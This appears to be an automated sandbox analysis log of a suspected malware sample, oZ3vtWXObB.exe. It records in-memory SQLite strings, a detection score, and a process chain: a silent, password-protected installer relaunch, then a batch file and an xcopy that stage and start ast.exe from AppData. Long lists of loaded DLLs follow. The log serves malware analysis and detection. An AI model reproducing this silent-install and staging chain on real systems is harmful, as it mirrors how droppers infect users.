                          Source: oZ3vtWXObB.tmp, 00000004.00000003.1898790130.0000000005DCC000.00000004.00001000.00020000.00000000.sdmp, xcopy.exe, 0000000A.00000003.2210198268.00000000026F9000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000D.00000002.2327594426.0000000061E8B000.00000002.00000001.01000000.0000000D.sdmpBinary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
                          Source: oZ3vtWXObB.tmp, 00000004.00000003.1898790130.0000000005DCC000.00000004.00001000.00020000.00000000.sdmp, xcopy.exe, 0000000A.00000003.2210198268.00000000026F9000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000D.00000002.2327594426.0000000061E8B000.00000002.00000001.01000000.0000000D.sdmpBinary or memory string: UPDATE "%w".%s SET sql = sqlite_rename_parent(sql, %Q, %Q) WHERE %s;
                          Source: oZ3vtWXObB.tmp, 00000004.00000003.1898790130.0000000005DCC000.00000004.00001000.00020000.00000000.sdmp, xcopy.exe, 0000000A.00000003.2210198268.00000000026F9000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000D.00000002.2327594426.0000000061E8B000.00000002.00000001.01000000.0000000D.sdmpBinary or memory string: UPDATE sqlite_temp_master SET sql = sqlite_rename_trigger(sql, %Q), tbl_name = %Q WHERE %s;
                          Source: oZ3vtWXObB.tmp, 00000004.00000003.1898790130.0000000005DCC000.00000004.00001000.00020000.00000000.sdmp, xcopy.exe, 0000000A.00000003.2210198268.00000000026F9000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000D.00000002.2327594426.0000000061E8B000.00000002.00000001.01000000.0000000D.sdmpBinary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
                          Source: oZ3vtWXObB.tmp, 00000004.00000003.1898790130.0000000005DCC000.00000004.00001000.00020000.00000000.sdmp, xcopy.exe, 0000000A.00000003.2210198268.00000000026F9000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000D.00000002.2327594426.0000000061E8B000.00000002.00000001.01000000.0000000D.sdmpBinary or memory string: UPDATE %Q.%s SET sql = CASE WHEN type = 'trigger' THEN sqlite_rename_trigger(sql, %Q)ELSE sqlite_rename_table(sql, %Q) END, tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqlite_autoindex%%' AND type='index' THEN 'sqlite_autoindex_' || %Q || substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
                          Source: oZ3vtWXObB.tmp, 00000004.00000003.1898790130.0000000005DCC000.00000004.00001000.00020000.00000000.sdmp, xcopy.exe, 0000000A.00000003.2210198268.00000000026F9000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000D.00000002.2327594426.0000000061E8B000.00000002.00000001.01000000.0000000D.sdmpBinary or memory string: SELECT 'DELETE FROM vacuum_db.' || quote(name) || ';' FROM vacuum_db.sqlite_master WHERE name='sqlite_sequence'
                          Source: oZ3vtWXObB.exeReversingLabs: Detection: 26%
                          Source: oZ3vtWXObB.exeString found in binary or memory: /LOADINF="filename"
                          Source: C:\Users\user\Desktop\oZ3vtWXObB.exeFile read: C:\Users\user\Desktop\oZ3vtWXObB.exeJump to behavior
                          Source: unknownProcess created: C:\Users\user\Desktop\oZ3vtWXObB.exe "C:\Users\user\Desktop\oZ3vtWXObB.exe"
                          Source: C:\Users\user\Desktop\oZ3vtWXObB.exeProcess created: C:\Users\user\AppData\Local\Temp\is-GEEHR.tmp\oZ3vtWXObB.tmp "C:\Users\user\AppData\Local\Temp\is-GEEHR.tmp\oZ3vtWXObB.tmp" /SL5="$10408,7132714,832512,C:\Users\user\Desktop\oZ3vtWXObB.exe"
                          Source: C:\Users\user\AppData\Local\Temp\is-GEEHR.tmp\oZ3vtWXObB.tmpProcess created: C:\Users\user\Desktop\oZ3vtWXObB.exe "C:\Users\user\Desktop\oZ3vtWXObB.exe" /verysilent /password=6s7w4
                          Source: C:\Users\user\Desktop\oZ3vtWXObB.exeProcess created: C:\Users\user\AppData\Local\Temp\is-30F0I.tmp\oZ3vtWXObB.tmp "C:\Users\user\AppData\Local\Temp\is-30F0I.tmp\oZ3vtWXObB.tmp" /SL5="$20416,7132714,832512,C:\Users\user\Desktop\oZ3vtWXObB.exe" /verysilent /password=6s7w4
                          Source: C:\Users\user\AppData\Local\Temp\is-30F0I.tmp\oZ3vtWXObB.tmpProcess created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /C ""C:\Users\user\AppData\Local\Temp\u3w5\rbxsdlx.bat""
                          Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                          Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\xcopy.exe xcopy /Y /I /S "C:\Users\user\AppData\Local\Temp\u3w5\*" "C:\Users\user\AppData\Roaming\is\"
                          Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Users\user\AppData\Roaming\is\ast.exe "C:\Users\user\AppData\Roaming\is\ast.exe"
                          Source: unknownProcess created: C:\Users\user\AppData\Roaming\is\ast.exe "C:\Users\user\AppData\Roaming\is\ast.exe"
                          Source: unknownProcess created: C:\Users\user\AppData\Roaming\is\ast.exe "C:\Users\user\AppData\Roaming\is\ast.exe"
                          Source: C:\Users\user\Desktop\oZ3vtWXObB.exeProcess created: C:\Users\user\AppData\Local\Temp\is-GEEHR.tmp\oZ3vtWXObB.tmp "C:\Users\user\AppData\Local\Temp\is-GEEHR.tmp\oZ3vtWXObB.tmp" /SL5="$10408,7132714,832512,C:\Users\user\Desktop\oZ3vtWXObB.exe" Jump to behavior
                          Source: C:\Users\user\AppData\Local\Temp\is-GEEHR.tmp\oZ3vtWXObB.tmpProcess created: C:\Users\user\Desktop\oZ3vtWXObB.exe "C:\Users\user\Desktop\oZ3vtWXObB.exe" /verysilent /password=6s7w4Jump to behavior
                          Source: C:\Users\user\Desktop\oZ3vtWXObB.exeProcess created: C:\Users\user\AppData\Local\Temp\is-30F0I.tmp\oZ3vtWXObB.tmp "C:\Users\user\AppData\Local\Temp\is-30F0I.tmp\oZ3vtWXObB.tmp" /SL5="$20416,7132714,832512,C:\Users\user\Desktop\oZ3vtWXObB.exe" /verysilent /password=6s7w4Jump to behavior
                          Source: C:\Users\user\AppData\Local\Temp\is-30F0I.tmp\oZ3vtWXObB.tmpProcess created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /C ""C:\Users\user\AppData\Local\Temp\u3w5\rbxsdlx.bat""Jump to behavior
                          Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\xcopy.exe xcopy /Y /I /S "C:\Users\user\AppData\Local\Temp\u3w5\*" "C:\Users\user\AppData\Roaming\is\"Jump to behavior
                          Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Users\user\AppData\Roaming\is\ast.exe "C:\Users\user\AppData\Roaming\is\ast.exe" Jump to behavior
                          Source: C:\Users\user\Desktop\oZ3vtWXObB.exeSection loaded: version.dllJump to behavior
                          Source: C:\Users\user\Desktop\oZ3vtWXObB.exeSection loaded: netapi32.dllJump to behavior
                          Source: C:\Users\user\Desktop\oZ3vtWXObB.exeSection loaded: netutils.dllJump to behavior
                          Source: C:\Users\user\Desktop\oZ3vtWXObB.exeSection loaded: uxtheme.dllJump to behavior
                          Source: C:\Users\user\Desktop\oZ3vtWXObB.exeSection loaded: apphelp.dllJump to behavior
                          Source: C:\Users\user\AppData\Local\Temp\is-GEEHR.tmp\oZ3vtWXObB.tmpSection loaded: mpr.dllJump to behavior
                          Source: C:\Users\user\AppData\Local\Temp\is-GEEHR.tmp\oZ3vtWXObB.tmpSection loaded: version.dllJump to behavior
                          Source: C:\Users\user\AppData\Local\Temp\is-GEEHR.tmp\oZ3vtWXObB.tmpSection loaded: netapi32.dllJump to behavior
                          Source: C:\Users\user\AppData\Local\Temp\is-GEEHR.tmp\oZ3vtWXObB.tmpSection loaded: winhttp.dllJump to behavior
                          Source: C:\Users\user\AppData\Local\Temp\is-GEEHR.tmp\oZ3vtWXObB.tmpSection loaded: netutils.dllJump to behavior
                          Source: C:\Users\user\AppData\Local\Temp\is-GEEHR.tmp\oZ3vtWXObB.tmpSection loaded: uxtheme.dllJump to behavior
                          Source: C:\Users\user\AppData\Local\Temp\is-GEEHR.tmp\oZ3vtWXObB.tmpSection loaded: kernel.appcore.dllJump to behavior
                          Source: C:\Users\user\AppData\Local\Temp\is-GEEHR.tmp\oZ3vtWXObB.tmpSection loaded: wtsapi32.dllJump to behavior
                          Source: C:\Users\user\AppData\Local\Temp\is-GEEHR.tmp\oZ3vtWXObB.tmpSection loaded: winsta.dllJump to behavior
                          Source: C:\Users\user\AppData\Local\Temp\is-GEEHR.tmp\oZ3vtWXObB.tmpSection loaded: textinputframework.dllJump to behavior
                          Source: C:\Users\user\AppData\Local\Temp\is-GEEHR.tmp\oZ3vtWXObB.tmpSection loaded: coreuicomponents.dllJump to behavior
                          Source: C:\Users\user\AppData\Local\Temp\is-GEEHR.tmp\oZ3vtWXObB.tmpSection loaded: coremessaging.dllJump to behavior
                          Source: C:\Users\user\AppData\Local\Temp\is-GEEHR.tmp\oZ3vtWXObB.tmpSection loaded: ntmarta.dllJump to behavior
                          Source: C:\Users\user\AppData\Local\Temp\is-GEEHR.tmp\oZ3vtWXObB.tmpSection loaded: wintypes.dllJump to behavior
                          Source: C:\Users\user\AppData\Local\Temp\is-GEEHR.tmp\oZ3vtWXObB.tmpSection loaded: wintypes.dllJump to behavior
                          Source: C:\Users\user\AppData\Local\Temp\is-GEEHR.tmp\oZ3vtWXObB.tmpSection loaded: wintypes.dllJump to behavior
                          Source: C:\Users\user\AppData\Local\Temp\is-GEEHR.tmp\oZ3vtWXObB.tmpSection loaded: windows.storage.dllJump to behavior
                          Source: C:\Users\user\AppData\Local\Temp\is-GEEHR.tmp\oZ3vtWXObB.tmpSection loaded: wldp.dllJump to behavior
                          Source: C:\Users\user\AppData\Local\Temp\is-GEEHR.tmp\oZ3vtWXObB.tmpSection loaded: profapi.dllJump to behavior
                          Source: C:\Users\user\AppData\Local\Temp\is-GEEHR.tmp\oZ3vtWXObB.tmpSection loaded: shfolder.dllJump to behavior
                          Source: C:\Users\user\AppData\Local\Temp\is-GEEHR.tmp\oZ3vtWXObB.tmpSection loaded: rstrtmgr.dllJump to behavior
                          Source: C:\Users\user\AppData\Local\Temp\is-GEEHR.tmp\oZ3vtWXObB.tmpSection loaded: ncrypt.dllJump to behavior
                          Source: C:\Users\user\AppData\Local\Temp\is-GEEHR.tmp\oZ3vtWXObB.tmpSection loaded: ntasn1.dllJump to behavior
                          Source: C:\Users\user\AppData\Local\Temp\is-GEEHR.tmp\oZ3vtWXObB.tmpSection loaded: propsys.dllJump to behavior
                          Source: C:\Users\user\AppData\Local\Temp\is-GEEHR.tmp\oZ3vtWXObB.tmpSection loaded: edputil.dllJump to behavior
                          Source: C:\Users\user\AppData\Local\Temp\is-GEEHR.tmp\oZ3vtWXObB.tmpSection loaded: urlmon.dllJump to behavior
                          Source: C:\Users\user\AppData\Local\Temp\is-GEEHR.tmp\oZ3vtWXObB.tmpSection loaded: iertutil.dllJump to behavior
                          Source: C:\Users\user\AppData\Local\Temp\is-GEEHR.tmp\oZ3vtWXObB.tmpSection loaded: srvcli.dllJump to behavior
                          Source: C:\Users\user\AppData\Local\Temp\is-GEEHR.tmp\oZ3vtWXObB.tmpSection loaded: windows.staterepositoryps.dllJump to behavior
                          Source: C:\Users\user\AppData\Local\Temp\is-GEEHR.tmp\oZ3vtWXObB.tmpSection loaded: sspicli.dllJump to behavior
                          Source: C:\Users\user\AppData\Local\Temp\is-GEEHR.tmp\oZ3vtWXObB.tmpSection loaded: appresolver.dllJump to behavior
                          Source: C:\Users\user\AppData\Local\Temp\is-GEEHR.tmp\oZ3vtWXObB.tmpSection loaded: bcp47langs.dllJump to behavior
                          Source: C:\Users\user\AppData\Local\Temp\is-GEEHR.tmp\oZ3vtWXObB.tmpSection loaded: slc.dllJump to behavior
                          Source: C:\Users\user\AppData\Local\Temp\is-GEEHR.tmp\oZ3vtWXObB.tmpSection loaded: userenv.dllJump to behavior
                          Source: C:\Users\user\AppData\Local\Temp\is-GEEHR.tmp\oZ3vtWXObB.tmpSection loaded: sppc.dllJump to behavior
                          Source: C:\Users\user\AppData\Local\Temp\is-GEEHR.tmp\oZ3vtWXObB.tmpSection loaded: onecorecommonproxystub.dllJump to behavior
                          Source: C:\Users\user\AppData\Local\Temp\is-GEEHR.tmp\oZ3vtWXObB.tmpSection loaded: onecoreuapcommonproxystub.dllJump to behavior
                          Source: C:\Users\user\Desktop\oZ3vtWXObB.exeSection loaded: version.dllJump to behavior
                          Source: C:\Users\user\Desktop\oZ3vtWXObB.exeSection loaded: netapi32.dllJump to behavior
                          Source: C:\Users\user\Desktop\oZ3vtWXObB.exeSection loaded: netutils.dllJump to behavior
                          Source: C:\Users\user\Desktop\oZ3vtWXObB.exeSection loaded: uxtheme.dllJump to behavior
                          Source: C:\Users\user\Desktop\oZ3vtWXObB.exeSection loaded: apphelp.dllJump to behavior
                          Source: C:\Users\user\AppData\Local\Temp\is-30F0I.tmp\oZ3vtWXObB.tmpSection loaded: mpr.dllJump to behavior
                          Source: C:\Users\user\AppData\Local\Temp\is-30F0I.tmp\oZ3vtWXObB.tmpSection loaded: version.dllJump to behavior
                          Source: C:\Users\user\AppData\Local\Temp\is-30F0I.tmp\oZ3vtWXObB.tmpSection loaded: netapi32.dllJump to behavior
                          Source: C:\Users\user\AppData\Local\Temp\is-30F0I.tmp\oZ3vtWXObB.tmpSection loaded: winhttp.dllJump to behavior
                          Source: C:\Users\user\AppData\Local\Temp\is-30F0I.tmp\oZ3vtWXObB.tmpSection loaded: netutils.dllJump to behavior
                          Source: C:\Users\user\AppData\Local\Temp\is-30F0I.tmp\oZ3vtWXObB.tmpSection loaded: uxtheme.dllJump to behavior
                          Source: C:\Users\user\AppData\Local\Temp\is-30F0I.tmp\oZ3vtWXObB.tmpSection loaded: kernel.appcore.dllJump to behavior
                          Source: C:\Users\user\AppData\Local\Temp\is-30F0I.tmp\oZ3vtWXObB.tmpSection loaded: wtsapi32.dllJump to behavior
                          Source: C:\Users\user\AppData\Local\Temp\is-30F0I.tmp\oZ3vtWXObB.tmpSection loaded: winsta.dllJump to behavior
                          Source: C:\Users\user\AppData\Local\Temp\is-30F0I.tmp\oZ3vtWXObB.tmpSection loaded: textinputframework.dllJump to behavior
                          Source: C:\Users\user\AppData\Local\Temp\is-30F0I.tmp\oZ3vtWXObB.tmpSection loaded: coreuicomponents.dllJump to behavior
                          Source: C:\Users\user\AppData\Local\Temp\is-30F0I.tmp\oZ3vtWXObB.tmpSection loaded: coremessaging.dllJump to behavior
                          Source: C:\Users\user\AppData\Local\Temp\is-30F0I.tmp\oZ3vtWXObB.tmpSection loaded: ntmarta.dllJump to behavior
                          Source: C:\Users\user\AppData\Local\Temp\is-30F0I.tmp\oZ3vtWXObB.tmpSection loaded: coremessaging.dllJump to behavior
                          Source: C:\Users\user\AppData\Local\Temp\is-30F0I.tmp\oZ3vtWXObB.tmpSection loaded: wintypes.dllJump to behavior
                          Source: C:\Users\user\AppData\Local\Temp\is-30F0I.tmp\oZ3vtWXObB.tmpSection loaded: wintypes.dllJump to behavior
                          Source: C:\Users\user\AppData\Local\Temp\is-30F0I.tmp\oZ3vtWXObB.tmpSection loaded: wintypes.dllJump to behavior
                          Source: C:\Users\user\AppData\Local\Temp\is-30F0I.tmp\oZ3vtWXObB.tmpSection loaded: windows.storage.dllJump to behavior
                          Source: C:\Users\user\AppData\Local\Temp\is-30F0I.tmp\oZ3vtWXObB.tmpSection loaded: wldp.dllJump to behavior
                          Source: C:\Users\user\AppData\Local\Temp\is-30F0I.tmp\oZ3vtWXObB.tmpSection loaded: profapi.dllJump to behavior
                          Source: C:\Users\user\AppData\Local\Temp\is-30F0I.tmp\oZ3vtWXObB.tmpSection loaded: shfolder.dllJump to behavior
                          Source: C:\Users\user\AppData\Local\Temp\is-30F0I.tmp\oZ3vtWXObB.tmpSection loaded: rstrtmgr.dllJump to behavior
                          Source: C:\Users\user\AppData\Local\Temp\is-30F0I.tmp\oZ3vtWXObB.tmpSection loaded: ncrypt.dllJump to behavior
                          Source: C:\Users\user\AppData\Local\Temp\is-30F0I.tmp\oZ3vtWXObB.tmpSection loaded: ntasn1.dllJump to behavior
                          Source: C:\Users\user\AppData\Local\Temp\is-30F0I.tmp\oZ3vtWXObB.tmpSection loaded: textshaping.dllJump to behavior
                          Source: C:\Users\user\AppData\Local\Temp\is-30F0I.tmp\oZ3vtWXObB.tmpSection loaded: sspicli.dllJump to behavior
                          Source: C:\Users\user\AppData\Local\Temp\is-30F0I.tmp\oZ3vtWXObB.tmpSection loaded: dwmapi.dllJump to behavior
                          Source: C:\Users\user\AppData\Local\Temp\is-30F0I.tmp\oZ3vtWXObB.tmpSection loaded: explorerframe.dllJump to behavior
                          Source: C:\Users\user\AppData\Local\Temp\is-30F0I.tmp\oZ3vtWXObB.tmpSection loaded: sfc.dllJump to behavior
                          Source: C:\Users\user\AppData\Local\Temp\is-30F0I.tmp\oZ3vtWXObB.tmpSection loaded: sfc_os.dllJump to behavior
                          Source: C:\Windows\SysWOW64\cmd.exeSection loaded: cmdext.dllJump to behavior
                          Source: C:\Windows\SysWOW64\cmd.exeSection loaded: apphelp.dllJump to behavior
                          Source: C:\Windows\SysWOW64\xcopy.exeSection loaded: ulib.dllJump to behavior
                          Source: C:\Windows\SysWOW64\xcopy.exeSection loaded: ifsutil.dllJump to behavior
                          Source: C:\Windows\SysWOW64\xcopy.exeSection loaded: devobj.dllJump to behavior
                          Source: C:\Windows\SysWOW64\xcopy.exeSection loaded: fsutilext.dllJump to behavior
                          Source: C:\Windows\SysWOW64\xcopy.exeSection loaded: ntmarta.dllJump to behavior
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeSection loaded: version.dllJump to behavior
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeSection loaded: mpr.dllJump to behavior
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeSection loaded: olepro32.dllJump to behavior
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeSection loaded: wininet.dllJump to behavior
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeSection loaded: wsock32.dllJump to behavior
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeSection loaded: wtsapi32.dllJump to behavior
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeSection loaded: winmm.dllJump to behavior
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeSection loaded: netapi32.dllJump to behavior
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeSection loaded: shfolder.dllJump to behavior
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeSection loaded: userenv.dllJump to behavior
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeSection loaded: sqlite3.dllJump to behavior
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeSection loaded: iphlpapi.dllJump to behavior
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeSection loaded: netapi32.dllJump to behavior
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeSection loaded: crtdll.dllJump to behavior
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeSection loaded: msacm32.dllJump to behavior
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeSection loaded: quartz.dllJump to behavior
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeSection loaded: msvfw32.dllJump to behavior
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeSection loaded: avifil32.dllJump to behavior
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeSection loaded: winmmbase.dllJump to behavior
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeSection loaded: winmmbase.dllJump to behavior
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeSection loaded: wkscli.dllJump to behavior
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeSection loaded: logoncli.dllJump to behavior
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeSection loaded: netutils.dllJump to behavior
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeSection loaded: samcli.dllJump to behavior
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeSection loaded: winhttp.dllJump to behavior
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeSection loaded: sspicli.dllJump to behavior
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeSection loaded: uxtheme.dllJump to behavior
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeSection loaded: windows.storage.dllJump to behavior
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeSection loaded: wldp.dllJump to behavior
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeSection loaded: kernel.appcore.dllJump to behavior
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeSection loaded: colorui.dllJump to behavior
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeSection loaded: mscms.dllJump to behavior
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeSection loaded: coloradapterclient.dllJump to behavior
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeSection loaded: compstui.dllJump to behavior
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeSection loaded: msimg32.dllJump to behavior
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeSection loaded: inetres.dllJump to behavior
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeSection loaded: msimg32.dllJump to behavior
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeSection loaded: windowscodecs.dllJump to behavior
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeSection loaded: propsys.dllJump to behavior
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeSection loaded: profapi.dllJump to behavior
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeSection loaded: dwmapi.dllJump to behavior
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeSection loaded: security.dllJump to behavior
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeSection loaded: secur32.dllJump to behavior
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeSection loaded: winsta.dllJump to behavior
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeSection loaded: scrrun.dllJump to behavior
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeSection loaded: sxs.dllJump to behavior
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeSection loaded: dbghelp.dllJump to behavior
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeSection loaded: dbgcore.dllJump to behavior
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeSection loaded: cscapi.dllJump to behavior
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeSection loaded: d3d11.dllJump to behavior
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeSection loaded: dxgi.dllJump to behavior
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeSection loaded: astcrp.dllJump to behavior
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeSection loaded: libssl-1_1.dllJump to behavior
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeSection loaded: libcrypto-1_1.dllJump to behavior
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeSection loaded: libcrypto-1_1.dllJump to behavior
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeSection loaded: vcruntime140.dllJump to behavior
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeSection loaded: wbemcomn.dllJump to behavior
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeSection loaded: napinsp.dllJump to behavior
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeSection loaded: pnrpnsp.dllJump to behavior
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeSection loaded: wshbth.dllJump to behavior
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeSection loaded: nlaapi.dllJump to behavior
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeSection loaded: mswsock.dllJump to behavior
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeSection loaded: dnsapi.dllJump to behavior
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeSection loaded: winrnr.dllJump to behavior
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeSection loaded: fwpuclnt.dllJump to behavior
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeSection loaded: rasadhlp.dllJump to behavior
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeSection loaded: amsi.dllJump to behavior
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeSection loaded: textshaping.dllJump to behavior
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeSection loaded: powrprof.dllJump to behavior
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeSection loaded: umpdc.dllJump to behavior
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeSection loaded: dataexchange.dllJump to behavior
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeSection loaded: dcomp.dllJump to behavior
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeSection loaded: twinapi.appcore.dllJump to behavior
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeSection loaded: iertutil.dllJump to behavior
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeSection loaded: ondemandconnroutehelper.dllJump to behavior
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeSection loaded: winnsi.dllJump to behavior
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeSection loaded: dhcpcsvc6.dllJump to behavior
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeSection loaded: dhcpcsvc.dllJump to behavior
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeSection loaded: schannel.dllJump to behavior
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeSection loaded: mskeyprotect.dllJump to behavior
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeSection loaded: ntasn1.dllJump to behavior
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeSection loaded: ncrypt.dllJump to behavior
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeSection loaded: ncryptsslp.dllJump to behavior
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeSection loaded: textinputframework.dllJump to behavior
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeSection loaded: coreuicomponents.dllJump to behavior
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeSection loaded: coremessaging.dllJump to behavior
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeSection loaded: ntmarta.dllJump to behavior
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeSection loaded: coremessaging.dllJump to behavior
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeSection loaded: wintypes.dllJump to behavior
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeSection loaded: wintypes.dllJump to behavior
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeSection loaded: wintypes.dllJump to behavior
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeSection loaded: version.dllJump to behavior
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeSection loaded: mpr.dllJump to behavior
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeSection loaded: olepro32.dllJump to behavior
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeSection loaded: wininet.dllJump to behavior
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeSection loaded: wsock32.dllJump to behavior
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeSection loaded: wtsapi32.dllJump to behavior
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeSection loaded: winmm.dllJump to behavior
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeSection loaded: netapi32.dllJump to behavior
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeSection loaded: shfolder.dllJump to behavior
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeSection loaded: userenv.dllJump to behavior
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeSection loaded: sqlite3.dllJump to behavior
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeSection loaded: iphlpapi.dllJump to behavior
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeSection loaded: netapi32.dllJump to behavior
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeSection loaded: crtdll.dllJump to behavior
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeSection loaded: msacm32.dllJump to behavior
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeSection loaded: quartz.dllJump to behavior
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeSection loaded: msvfw32.dllJump to behavior
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeSection loaded: avifil32.dllJump to behavior
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeSection loaded: winmmbase.dllJump to behavior
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeSection loaded: winmmbase.dllJump to behavior
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeSection loaded: wkscli.dllJump to behavior
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeSection loaded: logoncli.dllJump to behavior
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeSection loaded: netutils.dllJump to behavior
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeSection loaded: samcli.dllJump to behavior
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeSection loaded: winhttp.dllJump to behavior
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeSection loaded: sspicli.dllJump to behavior
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeSection loaded: uxtheme.dllJump to behavior
